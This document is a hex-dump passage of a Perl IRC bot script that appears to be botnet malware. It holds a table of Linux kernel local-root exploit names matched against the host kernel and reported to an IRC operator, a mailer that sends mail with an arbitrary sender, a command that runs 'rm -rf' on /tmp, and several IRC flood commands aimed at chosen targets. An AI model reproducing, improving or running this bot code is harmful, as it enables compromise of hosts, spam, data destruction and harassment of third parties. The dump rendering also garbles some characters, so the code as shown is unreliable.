36576:	2E	32	30	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	65	6C	66	6C	62	.2 '] }; $h{'elflb
36608:	6C	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	39	27	5D	20	l'} = { vuln=>['2.4.29']
36640:	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	65	6C	66	64	75	6D	70	27	7D	20	3D	}; $h{'elfdump'} =
36672:	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	37	27	5D	0D	0A	20	20	20	7D	{ vuln=>['2.4.27'] }
36704:	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	65	78	70	61	6E	64	5F	73	74	61	63	6B	27	7D	20	3D	20	; $h{'expand_stack'} =
36736:	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	39	27	5D	20	0D	0A	20	20	20	7D	{ vuln=>['2.4.29'] }
36768:	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	68	30	30	6C	79	73	68	69	74	27	7D	20	3D	20	7B	0D	0A	; $h{'h lyshit'} = {
36800:	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	38	27	2C	27	32	2E	36	2E	31	30	27	2C	27	32	vuln=>['2.6.8','2.6.1 ','2
36832:	2E	36	2E	31	31	27	2C	27	32	2E	36	2E	39	27	2C	27	32	2E	36	2E	37	27	2C	27	32	2E	36	2E	31	33	27	2C	.6.11','2.6.9','2.6.7','2.6.13',
36864:	27	32	2E	36	2E	31	34	27	2C	27	32	2E	36	2E	31	35	27	2C	27	32	2E	36	2E	31	36	27	2C	27	32	2E	36	2E	'2.6.14','2.6.15','2.6.16','2.6.
36896:	32	27	5D	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	6B	64	75	6D	70	27	7D	20	2'] }; $h{'kdump'}
36928:	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	31	33	27	5D	20	0D	0A	20	20	= { vuln=>['2.6.13']
36960:	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	6B	6D	32	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	}; $h{'km2'} = {
36992:	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	31	38	27	2C	27	32	2E	34	2E	32	32	27	5D	0D	0A	20	20	20	vuln=>['2.4.18','2.4.22']
37024:	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	6B	72	61	64	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	}; $h{'krad'} = {
37056:	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	31	31	27	5D	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	vuln=>['2.6.11'] };
37088:	20	20	20	24	68	7B	27	6B	72	61	64	33	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	$h{'krad3'} = { vuln=>
37120:	5B	27	32	2E	36	2E	31	31	27	2C	27	32	2E	36	2E	39	27	5D	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	['2.6.11','2.6.9'] };
37152:	20	20	20	24	68	7B	27	6C	6F	63	61	6C	32	36	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	$h{'local26'} = { vuln
37184:	3D	3E	5B	27	32	2E	36	2E	31	33	27	5D	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	=>['2.6.13'] }; $h{
37216:	27	6C	6F	6B	6F	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	'loko'} = { vuln=>['2.4.2
37248:	32	27	2C	27	32	2E	34	2E	32	33	27	2C	27	32	2E	34	2E	32	34	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	2','2.4.23','2.4.24'] };
37280:	20	20	0D	0A	20	20	20	24	68	7B	27	6D	72	65	6D	61	70	5F	70	74	65	27	7D	20	3D	20	7B	0D	0A	20	20	20	$h{'mremap_pte'} = {
37312:	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	30	27	2C	27	32	2E	32	2E	32	35	27	2C	27	32	2E	34	vuln=>['2.4.2 ','2.2.25','2.4
37344:	2E	32	34	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	6E	65	77	6C	6F	.24'] }; $h{'newlo
37376:	63	61	6C	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	31	37	27	cal'} = { vuln=>['2.4.17'
37408:	2C	27	32	2E	34	2E	31	39	27	2C	27	32	2E	34	2E	31	38	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	,'2.4.19','2.4.18'] };
37440:	0D	0A	20	20	20	24	68	7B	27	6F	6E	67	5F	62	61	6B	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	$h{'ong_bak'} = { vu
37472:	6C	6E	3D	3E	5B	27	32	2E	34	2E	27	2C	27	32	2E	36	2E	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	ln=>['2.4.','2.6.'] };
37504:	0D	0A	20	20	20	24	68	7B	27	70	74	72	61	63	65	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	$h{'ptrace'} = { vul
37536:	6E	3D	3E	5B	27	32	2E	32	2E	27	2C	27	32	2E	34	2E	32	32	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	n=>['2.2.','2.4.22'] };
37568:	20	0D	0A	20	20	20	24	68	7B	27	70	74	72	61	63	65	5F	6B	6D	6F	64	27	7D	20	3D	20	7B	0D	0A	20	20	20	$h{'ptrace_kmod'} = {
37600:	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	vuln=>['2.4.2'] };
37632:	0A	20	20	20	24	68	7B	27	70	74	72	61	63	65	32	34	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	$h{'ptrace24'} = { vu
37664:	6C	6E	3D	3E	5B	27	32	2E	34	2E	39	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	ln=>['2.4.9'] }; $
37696:	68	7B	27	70	77	6E	65	64	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	h{'pwned'} = { vuln=>['2.
37728:	34	2E	27	2C	27	32	2E	36	2E	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	4.','2.6.'] }; $h{
37760:	27	70	79	32	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	39	27	'py2'} = { vuln=>['2.6.9'
37792:	2C	27	32	2E	36	2E	31	37	27	2C	27	32	2E	36	2E	31	35	27	2C	27	32	2E	36	2E	31	33	27	5D	20	0D	0A	20	,'2.6.17','2.6.15','2.6.13']
37824:	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	72	61	70	74	6F	72	5F	70	72	63	74	6C	27	7D	}; $h{'raptor_prctl'}
37856:	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	31	33	27	2C	27	32	2E	36	= { vuln=>['2.6.13','2.6
37888:	2E	31	37	27	2C	27	32	2E	36	2E	31	36	27	2C	27	32	2E	36	2E	31	33	27	5D	20	0D	0A	20	20	20	7D	3B	0D	.17','2.6.16','2.6.13'] };
37920:	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	70	72	63	74	6C	33	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	$h{'prctl3'} = {
37952:	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	31	33	27	2C	27	32	2E	36	2E	31	37	27	2C	27	32	2E	36	2E	39	vuln=>['2.6.13','2.6.17','2.6.9
37984:	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	72	65	6D	61	70	27	7D	20	'] }; $h{'remap'}
38016:	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	27	5D	20	0D	0A	20	20	20	7D	= { vuln=>['2.4.'] }
38048:	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	72	69	70	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	; $h{'rip'} = {
38080:	76	75	6C	6E	3D	3E	5B	27	32	2E	32	2E	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	vuln=>['2.2.'] };
38112:	24	68	7B	27	73	74	61	63	6B	67	72	6F	77	32	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	$h{'stackgrow2'} = { vuln
38144:	3D	3E	5B	27	32	2E	34	2E	32	39	27	2C	27	32	2E	36	2E	31	30	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	=>['2.4.29','2.6.1 '] };
38176:	20	20	0D	0A	20	20	20	24	68	7B	27	75	73	65	6C	69	62	32	34	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	$h{'uselib24'} = {
38208:	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	39	27	2C	27	32	2E	36	2E	31	30	27	2C	27	32	2E	34	2E	32	vuln=>['2.4.29','2.6.1 ','2.4.2
38240:	32	27	2C	27	32	2E	34	2E	32	35	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	2','2.4.25'] }; $h
38272:	7B	27	6E	65	77	73	6D	70	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	{'newsmp'} = { vuln=>['2.
38304:	36	2E	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	73	6D	70	72	61	63	6.'] }; $h{'smprac
38336:	65	72	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	39	27	5D	er'} = { vuln=>['2.4.29']
38368:	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	6C	6F	67	69	6E	78	27	7D	20	3D	}; $h{'loginx'} =
38400:	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	32	32	27	5D	20	0D	0A	20	20	20	{ vuln=>['2.4.22']
38432:	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	65	78	70	2E	73	68	27	7D	20	3D	20	7B	0D	0A	20	20	}; $h{'exp.sh'} = {
38464:	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	39	27	2C	27	32	2E	36	2E	31	30	27	2C	27	32	2E	36	vuln=>['2.6.9','2.6.1 ','2.6
38496:	2E	31	36	27	2C	27	32	2E	36	2E	31	33	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	.16','2.6.13'] };
38528:	24	68	7B	27	70	72	63	74	6C	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	$h{'prctl'} = { vuln=>['2
38560:	2E	36	2E	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	6B	6D	64	78	27	.6.'] }; $h{'kmdx'
38592:	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	27	2C	27	32	2E	34	2E	} = { vuln=>['2.6.','2.4.
38624:	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	72	61	70	74	6F	72	27	7D	'] }; $h{'raptor'}
38656:	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	31	33	27	2C	27	32	2E	36	= { vuln=>['2.6.13','2.6
38688:	2E	31	34	27	2C	27	32	2E	36	2E	31	35	27	2C	27	32	2E	36	2E	31	36	27	5D	20	0D	0A	20	20	20	7D	3B	0D	.14','2.6.15','2.6.16'] };
38720:	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	72	61	70	74	6F	72	32	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	$h{'raptor2'} = {
38752:	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	36	2E	31	33	27	2C	27	32	2E	36	2E	31	34	27	2C	27	32	2E	36	2E	vuln=>['2.6.13','2.6.14','2.6.
38784:	31	35	27	2C	27	32	2E	36	2E	31	36	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	66	6F	72	65	15','2.6.16'] }; fore
38816:	61	63	68	20	6D	79	20	24	6B	65	79	28	6B	65	79	73	20	25	68	29	7B	0D	0A	66	6F	72	65	61	63	68	20	6D	ach my $key(keys %h){ foreach m
38848:	79	20	24	6B	65	72	6E	65	6C	20	28	20	40	7B	20	24	68	7B	24	6B	65	79	7D	7B	27	76	75	6C	6E	27	7D	20	y $kernel ( @{ $h{$key}{'vuln'}
38880:	7D	20	29	7B	20	0D	0A	20	20	20	69	66	28	24	6B	68	6F	73	74	3D	7E	2F	5E	24	6B	65	72	6E	65	6C	2F	29	} ){ if($khost=~/^$kernel/)
38912:	7B	0D	0A	20	20	20	63	68	6F	70	28	24	6B	65	72	6E	65	6C	29	20	69	66	20	28	24	6B	65	72	6E	65	6C	3D	{ chop($kernel) if ($kernel=
38944:	7E	2F	2E	24	2F	29	3B	0D	0A	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	~/.$/); sendraw($IRC_cur_soc
38976:	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	ket, "PRIVMSG $printl :12[4@
39008:	33	52	6F	6F	74	61	62	6C	65	02	03	31	32	5D	20	50	6F	73	73	69	62	6C	65	20	4C	6F	63	61	6C	20	52	6F	3Rootable12] Possible Local Ro
39040:	6F	74	20	45	78	70	6C	6F	69	74	73	3A	20	22	2E	20	24	6B	65	79	20	2E	22	20	22	29	3B	0D	0A	20	20	20	ot Exploits: ". $key ." ");
39072:	20	20	20	7D	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	} } } } ##############
39104:	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	20	20	20	4D	41	49	4C	45	52	20	20	20	20	20	20	20	23	######## # MAILER #
39136:	20	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	69	66	20	28	24	###################### if ($
39168:	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	73	65	6E	64	6D	61	69	6C	5C	73	2B	28	2E	2A	29	5C	73	2B	28	funcarg =~ /^sendmail\s+(.*)\s+(
39200:	2E	2A	29	5C	73	2B	28	2E	2A	29	5C	73	2B	28	2E	2A	29	2F	29	20	7B	0D	0A	73	65	6E	64	72	61	77	28	24	.)\s+(.)\s+(.*)/) { sendraw($
39232:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	IRC_cur_socket, "PRIVMSG $printl
39264:	20	3A	03	31	32	5B	02	03	34	40	03	33	4D	61	69	6C	65	72	02	03	31	32	5D	20	20	4D	61	69	6C	65	72	20	:12[4@3Mailer12] Mailer
39296:	3A	2E	20	7C	20	20	53	65	6E	64	69	6E	67	20	4D	61	69	6C	20	74	6F	20	3A	20	32	20	24	33	22	29	3B	0D	:. \| Sending Mail to : 2 $3");
39328:	0A	24	73	75	62	6A	65	63	74	20	3D	20	24	31	3B	0D	0A	24	73	65	6E	64	65	72	20	3D	20	24	32	3B	0D	0A	$subject = $1; $sender = $2;
39360:	24	72	65	63	69	70	69	65	6E	74	20	3D	20	24	33	3B	0D	0A	40	63	6F	72	70	6F	20	3D	20	24	34	3B	0D	0A	$recipient = $3; @corpo = $4;
39392:	24	6D	61	69	6C	74	79	70	65	20	3D	20	22	63	6F	6E	74	65	6E	74	2D	74	79	70	65	3A	20	74	65	78	74	2F	$mailtype = "content-type: text/
39424:	68	74	6D	6C	22	3B	0D	0A	24	73	65	6E	64	6D	61	69	6C	20	3D	20	27	2F	75	73	72	2F	73	62	69	6E	2F	73	html"; $sendmail = '/usr/sbin/s
39456:	65	6E	64	6D	61	69	6C	27	3B	0D	0A	6F	70	65	6E	20	28	53	45	4E	44	4D	41	49	4C	2C	20	22	7C	20	24	73	endmail'; open (SENDMAIL, "\| $s
39488:	65	6E	64	6D	61	69	6C	20	2D	74	22	29	3B	0D	0A	70	72	69	6E	74	20	53	45	4E	44	4D	41	49	4C	20	22	24	endmail -t"); print SENDMAIL "$
39520:	6D	61	69	6C	74	79	70	65	5C	6E	22	3B	0D	0A	70	72	69	6E	74	20	53	45	4E	44	4D	41	49	4C	20	22	53	75	mailtype\n"; print SENDMAIL "Su
39552:	62	6A	65	63	74	3A	20	24	73	75	62	6A	65	63	74	5C	6E	22	3B	0D	0A	70	72	69	6E	74	20	53	45	4E	44	4D	bject: $subject\n"; print SENDM
39584:	41	49	4C	20	22	46	72	6F	6D	3A	20	24	73	65	6E	64	65	72	5C	6E	22	3B	0D	0A	70	72	69	6E	74	20	53	45	AIL "From: $sender\n"; print SE
39616:	4E	44	4D	41	49	4C	20	22	54	6F	3A	20	24	72	65	63	69	70	69	65	6E	74	5C	6E	5C	6E	22	3B	0D	0A	70	72	NDMAIL "To: $recipient\n\n"; pr
39648:	69	6E	74	20	53	45	4E	44	4D	41	49	4C	20	22	40	63	6F	72	70	6F	5C	6E	5C	6E	22	3B	0D	0A	63	6C	6F	73	int SENDMAIL "@corpo\n\n"; clos
39680:	65	20	28	53	45	4E	44	4D	41	49	4C	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	e (SENDMAIL); sendraw($IRC_cur_
39712:	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	socket, "PRIVMSG $printl :12[
39744:	34	40	03	33	4D	61	69	6C	65	72	02	03	31	32	5D	20	20	20	4D	61	69	6C	65	72	20	3A	2E	20	7C	20	20	4D	4@3Mailer12] Mailer :. \| M
39776:	61	69	6C	20	53	65	6E	74	20	54	6F	20	3A	20	32	20	24	72	65	63	69	70	69	65	6E	74	22	29	3B	0D	0A	7D	ail Sent To : 2 $recipient"); }
39808:	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	45	6E	###################### # En
39840:	64	20	6F	66	20	4D	41	49	4C	45	52	20	20	20	20	23	20	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	d of MAILER # #############
39872:	23	23	23	23	23	23	23	23	23	0D	0A	23	20	41	20	2F	74	6D	70	20	63	6C	65	61	6E	65	72	0D	0A	69	66	20	######### # A /tmp cleaner if
39904:	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	63	6C	65	61	72	74	6D	70	2F	29	20	7B	20	0D	0A	20	20	($funcarg =~ /^cleartmp/) {
39936:	20	20	73	79	73	74	65	6D	20	27	63	64	20	2F	74	6D	70	3B	72	6D	20	2D	72	66	20	2A	27	3B	0D	0A	20	20	system 'cd /tmp;rm -rf *';
39968:	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
40000:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	54	4D	50	43	"PRIVMSG $printl :12[4@3TMPC
40032:	6C	65	61	6E	65	72	02	03	31	32	5D	20	2F	74	6D	70	20	69	73	20	43	6C	65	61	6E	65	64	22	29	3B	0D	0A	leaner12] /tmp is Cleaned");
40064:	20	20	20	20	20	20	20	20	20	7D	0D	0A	23	2D	23	2D	23	2D	23	2D	23	2D	23	2D	23	2D	23	2D	23	0D	0A	23	} #-#-#-#-#-#-#-#-# #
40096:	20	46	6C	6F	6F	64	65	72	73	20	49	52	43	20	20	23	0D	0A	23	2D	23	2D	23	2D	23	2D	23	2D	23	2D	23	2D	Flooders IRC # #-#-#-#-#-#-#-
40128:	23	2D	23	20	20	20	20	20	20	20	20	20	0D	0A	23	20	6D	73	67	2C	20	40	6D	73	67	66	6C	6F	6F	64	20	3C	#-# # msg, @msgflood <
40160:	77	68	6F	3E	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6D	73	67	66	6C	6F	6F	64	who> if ($funcarg =~ /^msgflood
40192:	20	28	2E	2B	3F	29	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	66	6F	72	28	24	69	3D	30	3B	20	24	69	(.+?) (.*)/) { for($i= ; $i
40224:	3C	3D	31	30	3B	20	24	69	2B	3D	31	29	7B	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	<=1 ; $i+=1){ sendraw($IR
40256:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	22	2E	24	31	2E	22	20	22	2E	C_cur_socket, "PRIVMSG ".$1." ".
40288:	24	32	29	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	$2); } sendraw($IRC_c
40320:	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	ur_socket, "PRIVMSG $printl :12
40352:	5B	02	03	34	40	03	33	4D	53	47	46	6C	6F	6F	64	02	03	31	32	5D	03	31	34	20	45	78	63	65	63	75	74	65	[4@3MSGFlood12]14 Excecute
40384:	64	20	6F	6E	20	22	2E	24	31	2E	22	20	22	29	3B	0D	0A	7D	0D	0A	20	20	20	20	20	20	20	20	20	0D	0A	23	d on ".$1." "); } #
40416:	20	64	63	63	66	6C	6F	6F	64	2C	20	40	64	63	63	66	6C	6F	6F	64	20	3C	77	68	6F	3E	0D	0A	69	66	20	28	dccflood, @dccflood <who> if (
40448:	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	64	63	63	66	6C	6F	6F	64	20	28	2E	2A	29	2F	29	20	7B	0D	$funcarg =~ /^dccflood (.*)/) {
40480:	0A	20	20	20	66	6F	72	28	24	69	3D	30	3B	20	24	69	3C	3D	31	30	3B	20	24	69	2B	3D	31	29	7B	0D	0A	20	for($i= ; $i<=1 ; $i+=1){
40512:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
40544:	52	49	56	4D	53	47	20	22	2E	24	31	2E	22	20	3A	5C	30	30	31	44	43	43	20	43	48	41	54	20	63	68	61	74	RIVMSG ".$1." :\ 1DCC CHAT chat
40576:	20	31	31	32	31	34	38	35	31	33	31	20	31	30	32	34	5C	30	30	31	5C	6E	22	29	3B	0D	0A	20	20	20	7D	0D	1121485131 1 24\ 1\n"); }
40608:	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
40640:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	44	43	43	46	"PRIVMSG $printl :12[4@3DCCF
40672:	6C	6F	6F	64	02	03	31	32	5D	03	31	34	20	45	78	63	65	63	75	74	65	64	20	6F	6E	20	22	2E	24	31	2E	22	lood12]14 Excecuted on ".$1."
40704:	20	22	29	3B	0D	0A	7D	20	20	20	20	20	20	0D	0A	23	20	63	74	63	70	66	6C	6F	6F	64	2C	20	40	63	74	63	"); } # ctcpflood, @ctc
40736:	70	66	6C	6F	6F	64	20	3C	77	68	6F	3E	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	pflood <who> if ($funcarg =~ /^
40768:	63	74	63	70	66	6C	6F	6F	64	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	66	6F	72	28	24	69	3D	30	3B	ctcpflood (.*)/) { for($i= ;
40800:	20	24	69	3C	3D	31	30	3B	20	24	69	2B	3D	31	29	7B	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	$i<=1 ; $i+=1){ sendraw(
40832:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	22	2E	24	31	2E	22	$IRC_cur_socket, "PRIVMSG ".$1."
40864:	20	3A	5C	30	30	31	56	45	52	53	49	4F	4E	5C	30	30	31	5C	6E	22	29	3B	0D	0A	20	20	20	20	20	20	73	65	:\ 1VERSION\ 1\n"); se
40896:	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	ndraw($IRC_cur_socket, "PRIVMSG
40928:	22	2E	24	31	2E	22	20	3A	5C	30	30	31	50	49	4E	47	5C	30	30	31	5C	6E	22	29	3B	0D	0A	20	20	20	7D	0D	".$1." :\ 1PING\ 1\n"); }
40960:	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
40992:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	43	54	43	50	"PRIVMSG $printl :12[4@3CTCP
41024:	46	6C	6F	6F	64	02	03	31	32	5D	03	31	34	20	45	78	63	65	63	75	74	65	64	20	6F	6E	20	22	2E	24	31	2E	Flood12]14 Excecuted on ".$1.
41056:	22	20	22	29	3B	0D	0A	7D	20	20	20	20	20	20	0D	0A	23	20	6E	6F	74	69	63	65	66	6C	6F	6F	64	2C	20	40	" "); } # noticeflood, @
41088:	6E	6F	74	69	63	65	66	6C	6F	6F	64	20	3C	77	68	6F	3E	0D	0A	20	20	20	69	66	20	28	24	66	75	6E	63	61	noticeflood <who> if ($funca
41120:	72	67	20	3D	7E	20	2F	5E	6E	6F	74	69	63	65	66	6C	6F	6F	64	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	rg =~ /^noticeflood (.*)/) {
41152:	20	20	20	20	66	6F	72	28	24	69	3D	30	3B	20	24	69	3C	3D	31	30	3B	20	24	69	2B	3D	31	29	7B	0D	0A	20	for($i= ; $i<=1 ; $i+=1){
41184:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
41216:	20	22	4E	4F	54	49	43	45	20	22	2E	24	31	2E	22	20	3A	77	33	74	46	4C	30	30	44	5C	6E	22	29	3B	0D	0A	"NOTICE ".$1." :w3tFL D\n");
41248:	20	20	20	7D	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	} sendraw($IRC_cur_soc
41280:	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	ket, "PRIVMSG $printl :12[4@
41312:	33	4E	6F	74	69	63	65	46	6C	6F	6F	64	02	03	31	32	5D	03	31	34	20	45	78	63	65	63	75	74	65	64	20	6F	3NoticeFlood12]14 Excecuted o
41344:	6E	20	22	2E	24	31	2E	22	20	22	29	3B	0D	0A	7D	20	20	20	20	20	20	0D	0A	23	20	43	68	61	6E	6E	65	6C	n ".$1." "); } # Channel
41376:	20	46	6C	6F	6F	64	2C	20	40	63	68	61	6E	6E	65	6C	66	6C	6F	6F	64	0D	0A	69	66	20	28	24	66	75	6E	63	Flood, @channelflood if ($func
41408:	61	72	67	20	3D	7E	20	2F	5E	63	68	61	6E	6E	65	6C	66	6C	6F	6F	64	2F	29	20	7B	0D	0A	20	20	20	66	6F	arg =~ /^channelflood/) { fo
41440:	72	28	24	69	3D	30	3B	20	24	69	3C	3D	32	35	3B	20	24	69	2B	3D	31	29	7B	20	0D	0A	20	20	20	20	20	20	r($i= ; $i<=25; $i+=1){
41472:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	4A	4F	49	4E	20	23	sendraw($IRC_cur_socket, "JOIN #
